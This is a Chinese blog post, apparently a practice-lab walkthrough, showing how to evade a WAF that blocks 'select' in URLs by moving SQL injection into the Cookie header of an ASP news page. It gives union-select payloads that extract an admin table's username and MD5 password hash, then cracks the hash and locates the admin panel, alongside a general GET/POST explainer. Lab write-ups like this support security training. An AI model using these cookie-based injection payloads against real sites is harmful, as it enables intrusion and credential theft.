【Web安全】绕过WAF过滤-利用cookie进行SQL注入

1 靶场分析

1.1 找到可能与数据库交互的模块

HERE
进入网站,我们点击一条新闻,因为一般新闻页面的功能都是与数据库进行交互的。

我们可以得知,是网站下的shownews.asp这个ASP动态网页文件,与数据库进行交互,并查询出了第171篇(id=171)新闻内容的值。
在这里插入图片描述

1.2 尝试注入

http://120.203.13.111:8001/shownews.asp?id=171 order by 10

查询当前表是否有10个字段,页面返回正常,于是我们继续拼接order by,但把10改成11
在这里插入图片描述
我们继续拼接查询语句,通过from,看页面返回是否正常来猜测有没有admin这个表

http://120.203.13.111:8001/shownews.asp?id=171 union select 1,2,3,4,5,6,7,8,9,10 from admin

访问发现有注入防护,经测试只要url出现select(查询)关键字,就会被拦截。

在这里插入图片描述

2 GET,POST传值

GET和POST是什么?HTTP协议中的两种发送请求的方法。

HTTP是什么?HTTP是基于TCP/IP的关于数据如何在万维网中如何通信的协议。

其实,GET和POST本质上两者没有任何区别。他们都是HTTP协议中的请求方法。底层实现都是基于TCP/IP协议。上述的所谓区别,只是浏览器厂家根据约定,做得限制而已。

HTTP请求,最初设定了八种方法。这八种方法本质上没有任何区别。只是让请求,更加有语义而已。

OPTIONS 返回服务器所支持的请求方法
GET 向服务器获取指定资源
HEAD 与GET一致,只不过响应体不返回,只返回响应头
POST 向服务器提交数据,数据放在请求体里
PUT 与POST相似,只是具有幂等特性,一般用于更新
DELETE 删除服务器指定资源
TRACE 回显服务器端收到的请求,测试的时候会用到这个
CONNECT 预留,暂无使用
TCP就像汽车,我们用TCP来运输数据,它很可靠,从来不会发生丢件少件的现象。但是如果路上跑的全是看起来一模一样的汽车,那这个世界看起来是一团混乱,送急件的汽车可能被前面满载货物的汽车拦堵在路上,整个交通系统一定会瘫痪。为了避免这种情况发生,交通规则HTTP诞生了。HTTP给汽车运输设定了好几个服务类别,有GET, POST, PUT, DELETE等等,HTTP规定,当执行GET请求的时候,要给汽车贴上GET的标签(设置method为GET),而且要求把传送的数据放在车顶上(url中)以方便记录。如果是POST请求,就要在车上贴上POST的标签,并把货物放在车厢里。当然,你也可以在GET的时候往车厢内偷偷藏点货物,但是这是很不光彩;也可以在POST的时候在车顶上也放一些数据,让人觉得傻乎乎的。HTTP只是个行为准则,而TCP才是GET和POST怎么实现的基本。

3 ModHeader绕WAF

我们尝试,将测试语句放到cookie里面,再发送给服务器,因为网页防护一般只拦截Get、post传参。

我们打开Chrome浏览器,这里用到了ModHeader插件
在这里插入图片描述
我们添加一个Cookie头,并写值为id=171,并确保已开启(打勾)

访问:http://120.203.13.111:8001/shownews.asp
发现
在这里插入图片描述
这证明cookie里的id=171,也能正常传参,被当作sql语句拼接。那我们直接进行注入。

我们输入Cookie值为:

id=171+union+select+1,2,3,4,5,6,7,8,9,10+from+admin

发现页面回显了2、3、7、8、9。
在这里插入图片描述
没有出现数据库错误,这证明admin表是存在的。且第2、第3、7、8、9字段,可以用来猜测字段名,同时,可以直接回显在页面上。

我们接着尝试猜测最常见的管理表字段名Username和Password,我们在2、3、7、8、9中任选两个,分别填入Username和Password

比如2和3:

id=171+union+select+1,username,password,4,5,6,7,8,9,10+from+admin

接着刷新页面,发现页面返回了admin表中,username和password字段的值:admin、b9a2a2b5dffb918c
在这里插入图片描述
这应该就是管理员用户名和密码了,但管理员密码看起来有些奇怪。字母+数字的16位组合,很像md5的特征。

打开cmd5.com(解密站点)

将b9a2a2b5dffb918c进行解密。

在这里插入图片描述
发现密码的明文是welcome。

这个站貌似是南方的CMS,默认管理员后台是根目录的/admin/。

我们尝试打开后台:

117.167.136.245:10181/admin

在这里插入图片描述

发布了916 篇原创文章 · 获赞 250 · 访问量 10万+

猜你喜欢

转载自blog.csdn.net/weixin_43838785/article/details/105004857